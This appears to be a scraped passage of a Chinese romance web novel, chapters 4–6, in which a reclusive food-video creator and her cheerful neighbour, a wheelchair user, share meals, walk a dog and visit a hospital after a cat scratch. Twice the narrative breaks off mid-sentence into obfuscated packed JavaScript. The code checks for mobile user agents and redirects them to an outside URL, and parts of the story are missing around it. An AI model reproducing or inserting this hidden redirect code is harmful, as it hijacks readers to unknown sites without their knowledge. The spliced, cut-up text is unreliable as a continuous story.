电梯间旁,纪允川已经等在那里。轮椅靠着墙静静停着,他一只手搭在轮圈上,低头刷着手机,像在等人,也像在发呆。 她走近时,他抬起头。 她换了一身浅米色风衣配深蓝牛仔裤,妆很淡,发丝微湿,衬着颈线显得冷白清瘦,整个人干净利落,却透着点狼狈的疲态。 “我来晚了。”她站定,语气平稳,“让你久等了,抱歉。” 纪允川看着她,眼神里掠过一丝担忧,但语气仍旧轻松:“你这头发还在滴水……下楼不冷吗?容易头疼。” “已经比约定时间晚了半小时。”她低声说,“而且确实有点饿。” 这句带着一点罕见的歉意。 “那咱不去商场那家了。”他毫不犹豫地下了决定,“小区门口那家火锅也还行,不远。你看行吗?” “好。我都可以。” 两人一前一后朝出口走去。他轻轻推动轮圈,动作熟练无声。 电梯间里有淡淡的清洁剂味道。他先入电梯,回头替她按下开门键。她走进来,侧身靠在他旁边的墙上,没有低头刷手机。 “昨晚回去睡得好吗?”他试探着问。 “挺好的。”她点头,“还得多谢你和你家小狗,小狗罐头我还欠着呢。” “你都说谢了,我是不是该发个报价单?” “可以啊。” 她语气轻淡,眼尾却轻轻弯了弯,藏着一点不太明显的笑意,在光影之间闪了一下。 电梯“叮”地一声打开。她先走出去,他随后跟上,轮椅滚过湿漉漉的地砖时,压出一道浅痕。 火锅店就在小区大门口的不远处,店面新开,玻璃反光清亮,门口还挂着没拆完的红绸布条。雨水未干,店前台阶湿滑,积了一点水。 纪允川在那节台阶前停下,转头看她。 “许尽欢,帮个小忙?” “怎么帮?” “我翘前轮的时候,你扶我一下后背。就一下。” 他说得轻松,语调像随意聊天,但心里其实来来回回演练过好几次。 她没迟疑,走到他身后,两手搭在靠背两侧。 “准备好了。” “好。” 他动作利索,前轮翘起,她轻轻扶着,后轮一冲,轮椅稳稳登上五厘米高的矮阶。 纪允川回头,眼角亮着笑:“你动作比我以前康复医生还利索,谢啦,幸好有你。” “其实我没用多大劲。”她实话实说。 她刚刚只是出于本能虚虚扶了一下,但他的动作熟稔,她并没有真帮上多少力。 “嗨,让人帮忙也要讲文明懂礼貌不是。” “那不客气。”她不欲纠结轻声说,转身走进火锅店。 店里人不多,靠窗的位置空着。 他推轮椅进来,熟练地将原本的座椅拖开,腾出空间。许尽欢脱下外套搭在椅背,坐下。 服务员送上菜单,纪允川翻着问:“你吃辣锅还是菌菇?他家番茄味道也行。” “辣锅。”她环顾店内,不算吵,装修也不错,气氛干净。 “那咱们点鸳鸯吧。”他顿了顿,主动交代自己的口味,“我胃不好,辣吃多会反应。” “你吃什么就点什么,我不挑。”许尽欢浅尝一口温热的大麦茶。 他说:“你不按常理出牌诶,你怎么不问我怎么胃不好了?” 她淡声道:“你想说,就说。” “那我说了哈?”纪允川带着点试探。 许尽欢看见了,但没有深想的欲望。她顺手倒水,把他面前的杯子也接过来一起倒:“那我听着。” 他笑了一下,缓缓开口:“我其实以前吃辣可厉害了,就是因为饮食不规律,熬夜多,胃出血过一次。现在辣一吃就疼,还可能吐。” 她点点头,面容平静。 他却忽然抬眼看她:“你不觉得很多事?” 她放下茶杯,看着他说:“你不觉得是重点的事情,我就不会当重点听。” 这句话像一把棉花,分寸精准地塞进纪允川惶恐的缝隙里。 他愣了一下,笑了。 得知对方的胃病后,点菜时许尽欢会问一句:“这个你能吃吗?味道重。” “你尽管点辣锅那边的,食材这些我没那么讲究。”他笑,“只要我不吃辣锅就行。” “那我自己看着点。”她说。 “好呀。” 锅底端上来时,热气扑面,夹杂着红油和花椒的香气,很快在桌间弥漫开来。 服务员将锅放置好后,又送来一壶豆浆、一盘小菜和一沓调料碟。许尽欢伸手将豆浆倒入两人杯中,抬眼时发现纪允川正拿着手机对着锅底拍照。 “你要发朋友圈?” “不是,”他笑,“我给我们工作室的合伙人发照片,他现在在公司加班,正好刺激一下他。” 她“嗯”了一声,没多问。 几道菜陆续上桌,肥牛卷、羊肉卷、黄喉、毛肚、蔬菜拼盘、菌菇拼盘,还有一份他点的鱼籽虾滑。 “你不吃牛肉?”她看着对面的人专注地涮羊肉片问。 “以前吃太多了,现在换点别的。”他随口答着,捞了一筷子娃娃菜放进番茄锅。 她没再追问,只是把几片毛肚涮进辣锅,看着它们在红汤里打着卷,一边等着一边默默调料。 “你吃饭速度慢还是快?”他忽然问。 “慢。” “太好了,我吃火锅也超慢,吃火锅还是要慢慢吃的好。”他说这话的时候神情认真地盯着番茄锅,像是认真的美食评论家。 她忍不住轻笑了一下。 毛肚烫好后,她夹了一片送进嘴里,热辣的香气瞬间在口腔爆开,胡椒和花椒的辛香味道刺激着胃黏膜,她的舌尖往外顶了一下,似乎是身体下意识地觉得烦躁,但最后还是咽了下去。 这很罕见。 堂食的火锅,确实比外卖来的有味道。 大概这就是堂食和预制菜的区别。 不知不觉,她吃了三五口,没有像平时那样很快就产生生理性的抗拒。 “你蘸料放小米辣?”她忽然问。 “嘿嘿,就几个小辣椒圈解个馋。我没敢多放。”纪允川笑,“只要我不碰你那锅里的东西,就安然无恙。” “?”许尽欢用眼神表达了疑惑。 “嗯哼,确定。” 她没再问,但给他夹了几片娃娃菜放进番茄锅里。 “那就吃吧,别光看我吃。” 他仿佛受了鼓励,立刻动筷,把豆腐皮捞进自己碗里,边吃边笑着说:“好久没和人一起吃火锅了,我自己来的时候都不敢点太多,怕吃不完。” “可以下次多叫几个人。” “那就是纯聊天瞎扯了,哪还有心思专心享受美食。”他眨眨眼,一脸故作神秘的表情。 许尽欢动作一顿,低头喝了口豆浆,笑了笑没有接话。 放在一旁的杯底的茶水波晃了一下。 他们吃得很慢,一边吃一边聊天,气氛不错。纪允川虽然话很多,但是声音很好听,跟配音演员似的。配上那张脸,也就不怎么让人觉得厌烦。 纪允川生动地讲述了他们工作室合伙人加班时被办公室里收养的流浪猫猫抢走键盘的趣事,又讲了游戏里有个npc配音演员临时罢录,让他们团队全员上麦救火收拾烂摊子,结果自己那段因为发挥超常现在在弹幕视频网站已经成了鬼畜合集。 “你要是感兴趣,我回头给你发链接。”他说,“但要有心理准备,我配音的时 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“我答应了你,就会做到的。”许尽欢的手插在外套口袋里,走在纪允川的轮椅边上。注意力被轮胎带起的水滴分走一半,试图寻找一个礼貌的方式,能在对方没发现的情况下,远离轮椅一点,避开被水滴溅到衣服的情况。 “我知道。”纪允川丝毫没有察觉对方已经自顾自地玩起了躲水滴的游戏,说,“但你愿意让我上门修水管,我是真的挺意外的。我本来以为你会拒绝的。” “你不是自己说你是马里奥吗?” “你记得啊。”他低声说,嘴角忍不住扬起。 “嗯,因为我是任天堂爱好者。”许尽欢发现路程过半,风衣衣摆完好,满意地勾起嘴角。 “哈,那下回我们工作室的新游戏做好了不如找你测评好了。”纪允川悄悄抬头看了一眼许尽欢清晰的下颌线,耳朵悄悄变红。 “行啊。” 两人沉默了一阵,不过许尽欢不怎么觉得尴尬。 主要是她忙着玩躲避脏水滴的游戏。 快走到单元门口时,许尽欢心里暗暗盘算了一下两次吃饭说话的比例,忽然正色,踌躇半晌后开口:“我不太能应付和不怎么熟悉的人交往。” 纪允川仰起头看她。 “但我不是讨厌你,”她想了想,还是解释了一下,认真地看着对方,“但我的反应可能不会像你预期那样热络,甚至可能看起来有点冷淡。” 纪允川推着轮椅,在她身边滑行着,风吹动他额前的碎发。 “那我就放心了。”他其实对此早有担忧,但此刻听到许尽欢的话终于吃下了定心丸。随即露出一口白牙,笑的晃眼,声音轻快,“你不讨厌我就行。” 许尽欢认真地端详着面前这位学弟。 对方笑着看她,眼睛亮得像灯下的水波。 一闪一闪的。 算了。这实在是让人讨厌不起来的热情,许尽欢想,暂时不用搬家也可以。 “那回家吧?就别站楼门口当门神了呗。”许尽欢抿了抿唇。 “遵命~” 纪允川摇摇晃晃地跟在许尽欢身后,笑眼弯弯。 大概这算美梦成真吧。 进电梯后许尽欢指了指纪允川的外套。 “嗯?”纪允川下意识低头去看,发现敞开的外套衣角不知道什么时候蹭到了轮椅轮子上的脏水。 他耸耸肩:“看样子回家得洗衣服咯。” “嗯。”许尽欢抱胸靠在电梯轿厢壁。 十九楼没几十秒就到了。 “那,晚安。”许尽欢缓步出了电梯门,摆了摆手。 “做个好梦~” 电梯门关闭的瞬间,纪允川长长地舒了口气。手抚上砰砰跳个不停地心脏。 他认为这姑且算是一个美好童话故事的开始…… 5. 第 5 章 厨房里还残留着香料和咖喱的味道。 锅盖上覆着一层薄薄的水汽,电磁炉早就断了电,汤汁却仍在缓慢地冒着泡。许尽欢站在灶台前,手里拿着锅铲,看着锅里那一整块还没炸的猪排,陷入短暂的迟疑。 她刚拍完今晚的视频,镜头下那一碗咖喱饭配炸猪排,色香俱全,看着就很有食欲。她按惯例做了双份,想着取角度的时候能有替代角度用。 但视频拍完了,助理苏苓临时说她要给男朋友过生日,今天不过来找她了。结果就是,饭还剩一大锅。 她看着锅里发呆了两秒。 她最多吃两口猪排,再吃两口米饭。很显然这种情况做好的咖喱猪排饭最后的归宿是厨余垃圾桶。 许尽欢单手叉腰,抿了抿唇。然后放下锅铲,擦了擦手,走进客厅,拿起手机打开微信。 点进那个只有一个大写英文字母“J”的对话框,她犹豫片刻,先发了一句: 【你吃晚饭了吗?】 刚发出去就觉得不妥,又跟了一句: 【刚拍视频做了很多咖喱饭,你要是还没吃饭的话,想尝尝吗】 她盯着对话框看了几秒,没再多打字。 这样说不算打扰。就算他不在家,或者在工作,看到了也可以不回。退路和解释都留好了。 手机震动起来的那一瞬,她几乎是下意识点亮屏幕。 【还没有!我正好没吃饭!】 【我超爱咖喱饭!!我这就上去找你!】 【小狗转圈.gif】 消息密集地弹出来,带着这个人的一贯热烈语气和不加掩饰的喜悦,透过夜间模式的全黑屏幕跳进她眼里。 许尽欢盯着那行“我这就上去找你”,沉默了一秒,低头回厨房,把第二块猪排放进热油锅。 油炸的声音很快响起来,锅边溅出几滴热油,她下意识往后退半步,侧头瞥了眼厨房门口。 门铃准时响起的时候,她刚好把刚炸好的猪排捞出,沥完油切块,放进米饭上。 她顺手擦干了手,绕过餐桌时,把餐桌下其中一把异形椅子轻轻拉到旁边零食架边上,为轮椅腾出空位。 门打开的一瞬,熟悉的洗衣液和香水味道一齐扑面而来。 “下午好!好香啊!!!!” 是好香啊。 许尽欢被他路过后皱了皱鼻子,这人洗衣服从来不漂干净的吗?? 纪允川声音又高又兴奋,整个人像风一样滑进屋子,“许尽欢你就是我的再生父母!!!!” 他穿着奶白色的卫衣,裤子是那种有很多口袋的休闲工装裤,发型乱糟糟的,头发压在额前。 几天没见肉眼年龄感觉又小了几岁,像个还没上大学的高中生。 许尽欢关上门跟在他身后,看着前面的栗子脑袋。卫衣的剪裁看上去有种八千卖给顾客一个小号尿素袋的品牌售卖的特立独行感,这位男士还比较骚包地挂了俩叠戴的项链,外套也奇形怪状的。 这种穿搭是她在市中心逛街遇到会绕道走的潮男。 第二次来许尽欢家里的纪允川熟练地飞速划过客厅,径直冲向餐桌旁。 “你坐那边,我把你位子空出来了。” “喔,谢谢!”他高兴地一笑,一边解开牛仔外套下摆,一边低头嗅了嗅摆好盘的咖喱饭,“我真的是超喜欢吃咖喱饭,你信吗?我最多连续吃了一周。” “你不是说你胃不好?”她问。 “……因为除了荤素搭配的咖喱饭之外还要泡面。”他大方承认,掏出手机对着摆好盘的猪排咖喱饭连拍十几张照片,然后把勺子插进饭里,“我开动啦!” “不合口味的话可以告诉我。”许尽欢坐在对面,端起自己的那一份,低头舀了一口饭。 他吃得很认真,也吃得很香:“天,巨好吃。完全合我的口味。” “你要是天天拍视频就好了。”他说。 她抬眼看他一眼:“你想得美。” “那下次再有这种好事请务必叫我。拜托了。”他马上顺杆爬。 她没答应也没拒绝,只是低头继续吃饭。 餐桌上安静了一会儿,只有勺子磕碰碗沿的细碎声音。 电视里还在播《武林外传》,一百多平的客厅连着厨房只有佟掌柜的陕西味儿普通话和餐具碰撞的轻响。 纪允川吃了几口注意到背景音,扭头看了眼巨型电视屏幕:“你喜欢这个?” “嗯,挺喜欢。也没怎么认真看,就是一直放着当个背景音。” “我妈也喜欢看这个,她说有时候人需要声音,听着热闹。” 许尽欢嗯了一声:“嗯,热闹。” 饭吃到一半,纪允川忽然抬头看她:“你做这个咖喱有放苹果吗?” “有。” “怪不得甜味那么柔。还有什么?” “胡萝卜、洋葱、土豆,加了一点椰浆。”她顿了顿,又说,“酱料是我自己调的。” “你只做自媒体太屈才了,完全可以开店。你要是开店能开在我们工作室附近吗?我保证天天打卡去。” “开店?”她舀了一口饭,“店面租金水电人工成本我都得算,而且天天上班。几个外卖平台来回压价,才能抵一个差评。” “……你说得对。”纪允川没忍住笑,刚喝一口水差点呛到。 吃完饭后,他自觉地收拾碗筷,把碗放在自己腿上,推着轮椅到水池边上:“我来洗碗!” “哪有让客人洗碗的道理。”她站起来接过碗。 “哪有大厨做了饭还得洗碗的道理。” 他执拗地坐在原地不动,像那天让她穿外套一样,一双小狗眼闪着光看她,在等她松口。 “好吧。”她转身走进厨房,“你乐意洗就洗吧。” 正好,她真的不喜欢洗碗。 “主厨大人有什么要求吗?” “没有,泡沫冲干净就行。” “保证完成任务。”他说,“你放心,我从小在家就是洗碗工。什么洗碗啊擦桌子啊我都是专业的~” 厨房灯光亮着,纪允川把轮椅斜着停在在水槽前,流理台对他来说有点高,但是这人还是一副兴致勃勃的模样,水声哗啦啦地响。 许尽欢沉默地坐在餐桌前,托腮看着流理台那边洗碗的人,一瞬不瞬。 客厅里,《武林外传》又一次自动循环到第一集:“我公务在身!我心系百姓!” 纪允川擦着水池边溅出的水珠笑出声。 “我小时候最怕吕秀才,感觉他永远在背书写诗念叨子曰。”他一边说,一边推着轮椅凑到餐桌旁,拿了条干净的毛巾:“顺便擦一下桌子吧?是用这个毛巾吗?那我开干了。” 许尽欢嗯了一声,托腮看着忙前忙后的人。 这人动作利索,十分认真。 为了拍视频好看,家里的厨具碗筷都是异形的,其实不太好清理。他擦碗时会微微低头,手指拇指把边缘压得很紧,像怕打碎。 餐桌还有些干净的水渍,许尽欢把餐巾纸递给他,指尖轻轻碰到他指背。 纪允川手一抖,餐巾纸悠悠地打着旋儿落在不规则形状的餐桌上。 “……被吓到了吗?我的手比较冰,抱歉。”她淡淡地说。 “没、没有,是我……我手滑。” “你不是说你是专业的?” “我擅长的是包装自己。”他认真说,“你要真指望我擦出商场展示区级别的光亮,那你可能得多等半小时。” 许尽欢没忍住,轻轻笑了一声,起身去厨房收拾杂乱的厨具和调料。因为纪允川不知道放在哪里,只洗了碗和锅,然后整齐地摆放在一边。 他坐在零食架边撸猫,抱抱眯着眼睛享受得像在做SPA。 “它居然没哈你?”她从厨房探出头。 “不会,我从小猫狗缘就特别好。”纪允川正色道,“我从小就招猫逗狗,从来没被挠也没被咬过。” “那挺厉害的。”许尽欢不咸不淡地捧场。 “是吧是吧。” 她把最后一只调料罐归位,挂上毛巾走出厨房时,纪允川正和抱抱你侬我侬。 许尽欢感觉自己被偷家了。 “?” “我打算回去遛狗,你要不要一起?正好吃饱了消消食。” 一双圆眼就这么仰着头布灵布灵地闪着光兴奋地看着她。 “走吧。”许尽欢躲开热忱的一双眼睛,走到门口拿起挂在门边的针织外套。 “哇?”纪允川挑眉,“你居然就这么答应了。” “嗯。就这么答应了。” 她其实也没搞懂自己为什么突然愿意出门,大概就是,刚好想走走。 她出门前特地回头瞪了一眼窝在猫架上的抱抱,戳它两下:“在家给我乖乖呆着。不准乱跑,听到没?” 抱抱没睁眼,但耳朵轻轻抖了一下,算是有回应。 电梯里灯光柔和。崽崽靠在纪允川脚边,尾巴扫来扫去。 “你家这狗怎么总是那么开心?”她忽然问。 “它不开心它能怎么办?搬走吗?” “……” “我每天都问它:你愿意跟我吗?它从来没拒绝过。”他认真地说。 许尽欢轻轻哼笑了一声,没接话。 小区夜里安静,雨后的空气湿润,楼下的花坛边水还未干。 崽崽一出门就像刑满释放狗,扑腾着在前面跑,又乖巧地时不时回头确认他们有没有跟上。 “它很听话。”许尽欢说。 “它很聪明的。” “我家猫很笨,总是乱跑。它再跑一次,我就打算带它去绝育。” “妈啊,好血腥的教训。 “我家崽崽最好的一点就是它不会记仇。”纪允川耸耸肩,“我前一天骂了他,他第二天也还是会冲我撒娇。” 她看他一眼,想着还真是狗随主人了。 他们沿着小区小路慢慢散步,小区绿化面积几乎占了一半还多。这也是能在市中心的地段闹中取静的原因。不远处传来一家人带着孩子在玩泡泡机的欢声笑语。 “我以前觉得小区冷清的很,遛狗都遇不到什么人,小狗都找不到好朋友。”他忽然说,“但最近觉得也还行。” “最近?” “对啊,比如今天。”他笑着侧头看她,“今天晚上不就挺好的?” “因为吃到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“那我将在未来的每一天里虔诚地蹲守并期待你助理有事儿。” “……我的手艺比较合你胃口?” “不是合我胃口。”他笑着说,揉了两把把脑袋搭在腿上的崽崽,“是客观的好吃。” 她看着他,沉默了一下,放松了一点,然后选择伸手指了指他外套的口袋。 “你这件衣服穿反了。” 他低头看了一眼,一秒后后仰生无可恋地看着天花板,“嗷”地惨叫一声:“我居然从吃饭到遛狗都穿反了!!” “太影响我人设了吧!!” “你的人设是什么?” “都市型男啊!!!”他低头扯了扯衣服,“我怎么就……你怎么不早点说?” “看你一直挺开心的,就没忍心打断你。”许尽欢忍着笑,坏心眼地看轮椅上的人懊恼地想要徒手扒开电梯门跑回家的模样。 感到十分满意。 纪允川深吸一口气,“未来我将会在每天出门前看三遍衣服穿反没。” “哟,那这事儿大了。”她轻声说,“让崽崽监督你吧。” 电梯“叮”地一声到了十九楼。 她俯身摸了两下崽崽的小狗脑袋,转过身往里走,站在门口等电梯缓慢合上。 他突然朝她挥了挥手,“那我先走啦,晚安——” “嗯。”她点头。 电梯门合上的那一瞬,她听见他小声地说了一句:“丢死人了。” 她笑着扭头道回家门口,转动钥匙开门,刚进门,抱抱好像在猫窝里把腿趴麻了,一瘸一拐地蹭过来,眼睛一眨不眨地看着她。 “我回来了。”她想起那人生无可恋地模样对它说,“怎么有人会把内心os真的自言自语说出来啊。” 猫“喵”了一声。 她看着它,忽然笑了笑,蹲下身揉了揉它的头。 厨房里还有点咖喱的香味没散,许尽欢走到阳台把窗户打开,又在厨房点了三个香薰蜡烛。 窗外灯光照进来,落在地板上。 她换好衣服坐到沙发上,电视依然开着,一进家门就有熟悉的声音,稳定的乌托邦群像喜剧,让她感到安心。 “你懂个撒呀,书院那么多学生,先生就是再厉害也不可能面面俱到——” 她靠在沙发上,轻声接了一句:“咱把礼数送到了,先生就是想偏心,也都不好意思偏了。” 抱抱钻进她膝头的小毯子里,蜷成一团,客厅暖黄的灯光下,一切都安静而松弛。 她看了眼手机,有消息提醒亮起。 纪允川发来了一张照片,是他的把外套穿正了的自拍: 【今晚的咖喱饭真的十分感谢!但衣服有点丢人,衣服正面其实是很好看的!】 【小狗哭泣.jpg】 她看了一会儿,没回复。 但她笑了。 然后把手机调成静音,反扣在桌上。 电视继续播着,她靠在沙发上,闭上眼睛,觉得胃里还有点难受。 6. 第 6 章 傍晚六点,天空压着一层低灰,像暴雨预警。 星河湾小区的树影被风吹得沙沙作响,枝叶边缘还挂着没落下的雨珠。空气因为气压闷闷的,楼道里积着湿气。 许尽欢下午五点起床,先往自己嘴里塞了两块巧克力,然后去柜子里取了猫粮和罐头。 做好了小猫饭,她站在门口,皱着眉。 “抱抱,吃饭了。” 没有一辆小猫听到开罐头声音后的蛮牛冲撞。 她猫窝翻了,床底下看了,厨房、鞋柜、衣帽间,甚至窗台和入户电梯的门口全都翻遍了。 空的。 地上猫碗里残留着几颗没吃完的冻干,连猫砂盆都一整天没新动静。 猫又跑了。 她先是确认门锁,果然防盗门没关紧。昨晚凌晨拍视频时她搬了灯架和餐车,一时疏忽。然后她翻开手机监控,最后一次拍到猫,是中午十二点四十七分,它蹭着门边蹲了一会儿,然后尾巴一甩,没入走廊。 她又气又急,低声骂了句:“蠢死了。” 不知道是在恼自己还是在恼笨猫。 下一秒,她已经拿起钥匙准备下楼。 她拎起一把伞扔进帆布包,走进楼梯间。 从十九楼到一楼,一层一层地打着手电找猫。不过短短十几分钟的时间,她列出了三种可能:猫在楼梯间角落、小区绿篱间、垃圾桶后面。她照着顺序找了一圈,仍旧没见到那团熟悉的奶茶色。 抱抱不是第一次走丢,但这次明显比上次麻烦。她感觉自己太阳穴隐隐跳着疼,一边压着火一边转头四处张望。 再绕过小区花坛时,手机突然响了。 是微信电话,来电显示:“纪允川”。 她皱着眉接起:“喂?” “你是不是少了点什么?” 电话那头声音平稳,还带着一点奇怪的背景杂音。 她一顿:“……猫在你那?” “准确地说······”他顿了一下,“它在我腿上。还在拼命挣扎,我现在用外套包着它,但算不上势均力敌。你家小猫劲儿也忒大了。” “你在哪儿?” “喷泉边上,我刚遛完崽崽,崽崽应该是闻见味儿了,去追,结果把它吓瘫在灌木堆旁了。”他顿了一下,“它现在想跑。” 电话还没挂断,她已经往喷泉方向走了。 拐过一排草丛,果然一眼就看见纪允川坐在花坛边,轮椅停在石砖上,怀里鼓鼓囊囊地裹着一团晃来晃去的猫影,外套整个搭在腿上,看起来像捂了个大西瓜。 她快步上前:“今天真的谢谢你了,你怎么不......” 还没说完,她已经看清他右边胳膊。 那里有三道鲜红的抓痕,从腕侧一直划到手肘,浅的两道泛着红,一道深的已经渗出血来,混着细小的猫毛,看起来有点可怕,血次呼啦的。 他见她脸色变了,原本因为捧着小猫朝上的手臂内侧被下意识地转下去,还冲她笑了笑:“它真的挺有力气。可能是一个人吓坏了,我这个猫猫教教主体质都把它吓了一跳。” 她看到纪允川的动作眉头蹙的更紧,冷了脸没说话,伸手去接猫。 他本能地护了一下,“小心,它现在还挺炸的,别再给你挠了。” “我来。”她语气平淡。但纪允川立刻察觉到了许尽欢的怒火,小时候他上房揭瓦,他妈用衣架给他爱的教育前也是这种语气。 猫被她抱过去的一瞬间,像开了静音键一样安静了。大概是闻到许尽欢身上熟悉的气味,原本炸成蒲公英一样的尾巴慢慢垂下来,眼神仍警惕,却已经不再挣扎。 纪允川低头看了眼被她抱走的猫,又看看自己袖子上那一大片被血浸湿的痕迹:“抱抱……是不是对我这个猫猫教教主有意见?” 许尽欢把猫塞进猫包,语气终于有些恼火和歉意:“你不用抱它的,这种猫让它自生自灭好了。” “我当时怕它再跑,跑到什么犄角旮旯我坐着轮椅也过不去。真丢了就麻烦了。” “。” 许尽欢绷着嘴角,脸色看着要炖猫了。 “你不高兴的时候很吓人啊。”纪允川干巴巴地看着生气的许尽欢,讲话也没啥底气,声音飘飘忽忽地,害怕自己一个不小心也被许尽欢顺手教育了。 她抬头看他。 他还是那副满不在乎的模样:“我没关系的啦,抱抱就挠了一下也没用多大劲儿,主要是你别脸沉得跟要打人一样。” 许尽欢不说话,低头看了他胳膊一眼,然后直接掏出手机。 “干嘛呀?” 纪允川一脸防备,牵紧了崽崽的牵引绳,一副孤男寡父只能和崽崽相依为命的苦命模样。 “叫车去医院。现在先回去,我放猫,你放狗。” “真的不用,我打过疫苗的,三年期还没到。”纪允川挣扎着想要自救。 “我不想赌百分百的狂犬病致死率。” 她这句话声音平淡,配上她平静的表情让人怪害怕的。 纪允川愣了一下,半秒后笑了:“行,那我不挣扎了。” 两人一路沉默着把猫狗各自放回家里,叫到车后她看着纪允川颇费力气地把自己转移到车上,期间因为右手用了力气好不容易不流血的伤口又挣开渗出新的血滴。 那画面让许尽欢薄弱的良心备受谴责,恨不得下一秒就替他开个水滴筹。 见人用手摆弄着跟史莱姆似的两条腿放好了,才沙哑着声音开了口:“你的轮椅怎么收?” “两个轮子中心有个按钮,一按就能把轮子扽下来。车架是焊死一体的,没法拆。” 许尽欢根据指示拆了轮椅放进后备箱。 他一边稳住身体一边低声捧场:“居然第一次就这么顺利,你是天才啊。” 她依旧绷着脸,语气硬邦邦的:“你胳膊是不是又出血了?” “嗨,都结痂了。” 司机从后视镜看了他们一眼:“是去医院打疫苗?” “嗯。”许尽欢答。 “被咬了?” “被猫刨了。”纪允川补充,笑嘻嘻的,“不过还好把走失小猫找回来了,不亏。” 听完这句话许尽欢心里更憋得慌,是她没看好猫。给一个残疾人引来这种无妄之灾实在是散功德。 车开出小区后,车里安静下来。 “胳膊给我。” 许尽欢从包里掏出消毒湿巾,伸手给他擦那几道血痕周围的血迹,小心翼翼地错过那几道抓痕,生怕酒精把人弄疼。 纪允川胳膊微动了一下,却没躲。 “疼?” “不疼。”他低头看着她,“你都没碰到伤口,一点儿都不疼。” 她没说话,擦完后又从纸巾包里抽出一张干的帮他吸掉多余水分。 他一直没动,只是盯着她动作看,他感觉许尽欢的呼吸喷洒在自己伤口有些发热的地方,鼻尖萦绕着许尽欢身上不知道什么味道的香水味和消毒湿巾刺鼻的酒精味。 “你家猫,其实挺乖的。”他忽然说,“它刚刚听到你声音,整只就不动了。” 许尽欢似乎还在气头上,不想多聊猫的事儿。只“嗯”了一声。 “那会儿我其实没抱得很紧,它只是听到了你,才没再挣脱。” 她低头:“它怕我。” “我倒不觉得,它很依赖你的,你没来的时候她毛都炸起来了。它看到你才觉得自己安全了。” 许尽欢抬起眼看他,似乎想说什么,又咽了下去。 他歪了歪头,“你会不会觉得我多事?” “没有,是我欠你个更大的人情了。” “那你是不是在心里想,以后它再跑,就随它去?” “……” “那你是不是已经后悔今晚叫我去医院了?” “纪允川。” “到!” “你嘴巴歇会儿。” “好的。” 他咧嘴一笑,果然不再说话。 十几分钟后,车停在医院门口。许尽欢在车门口拼好了轮椅,实在不忍心再放任他一个人拖着史莱姆一样的身体挪回轮椅:“你不介意的话,让我帮你?” 纪允川呆愣愣地被天降馅饼砸的晕乎:“好,好啊。” 然后晕乎乎地把胳膊搭在许尽欢的脖颈上,被半扶半抱地把自己转移到轮椅上。女人的长发扫过他的手腕,他的手脚都不知道该怎么摆放,只好机械地搬弄着两条腿放在和车架焊在一体的脚踏上。 感觉整个人幸福地像飘在云端里。 许尽欢预约网约车的时候找了附近的一家私立医院,人少环境好,急诊外科晚上也确实人不多。 走廊里灯光泛白,地砖极其干净,推轮椅经过时轮胎压出的声音格外清晰。 许尽欢在前台登记完,拿着表单走回来,低头看看纪允川:“门诊号在这边,走。” “遵命。”他转动轮椅跟上。 她脚步不快,走在他身侧,手里拎着第一次见面的时候装了抱抱的帆布袋。 医生是个三十多岁的男人,一看纪允川伤口就“啧”了一声:“猫抓的?挺深啊。” “对。”纪允川抬起胳膊,淡定地让对方查看。 医生一边准备打针一边问:“你之前打过疫苗吗?” “打过,两年前。那时候是小狗误抓了我一爪。” “那今天打个加强针吧,处理一下伤口,回去别碰水。” 他“嗯”了一声,语气十分配合。 许尽欢在一旁没说话,但眼睛一直盯着他那只胳膊,直到医生给他用碘伏消了毒,重新包上纱布。 “你要打在哪边胳膊吗?”医生问他。 “打哪儿都行。” “那就打右边吧。” “可以,正好给我留一条全乎着的胳膊推轮椅,不然像散装陀螺似的。” 医生乐了,动作倒是挺快,一针下去,纪允川倒吸一口气,后颈一绷,却没吭声。 许尽欢站在他身侧,看着他明显下意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535064|186510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 识皱了一瞬的眉头,然后很快装作若无其事地抬眼看医生。 “打完了?” “打完了,等会儿别走太快,观察十分钟。”医生交代。 “好嘞。”他晃了晃轮椅。 医生叮嘱几句就走了。纪允川单手挠了挠后颈,看她:“其实我真的没事儿,你家小猫也不是故意的。” 她看着他:“你很怕我生气?” “有点。”他坦诚,“你不讲话的时候,看上去有点凶。我老觉得我是不是哪句话讲错了踩了什么雷。” “没有。” “那你刚刚不说话,是觉得我多管闲事?” “我在想你为什么被抓了还不放手。” 他顿了下。 “你是说,你家小猫抓我的时候?” “嗯。你的伤口看着很深。” 纪允川靠在椅背上,歪头看着她,表情却不像要开玩笑的样子。 “你不会觉得,我是故意想被你家猫抓吧?” “……” “虽然抱抱是长得可爱了点,但我没有这种嗜好啦。” “我没这么想。” 他笑了一下,又低头看看自己那条胳膊,叹气:“其实就是条件反射。它那时候突然想跑,我脑子里第一个念头就是,不能让它跑掉。” “为啥?” “因为我感觉你会着急。咱们第一次见面的时候,你翻出来抱抱毛里的长命锁,脸都吓白了,嘴唇也是白的。” 许尽欢抿了抿唇。 两人坐在候诊长椅上,风从半开的窗户吹进来,吹动她的发尾,挂在耳廓上。 他忽然轻声开口,似乎是真的不解:“许尽欢,你一直都这么冷静的吗?” 她转头看他,没讲话,但眼神里写着疑惑。 “没有恶意啊。”他笑了笑,双手垂在大腿上,“只是我有时候……挺羡慕你的。” “羡慕我?” “我感觉控制不了自己。我一高兴就特想找人说话,一难过就沉默,藏不住。我爸妈说我永远都长不大,像个棒槌。” “这样很好。”许尽欢定定地看着他:“这样的性格,很宝贵。” 她的语气十分真诚,打了纪允川一个措手不及。 许尽欢看着纪允川整个人腾地一下变红,像一只煮熟的虾, 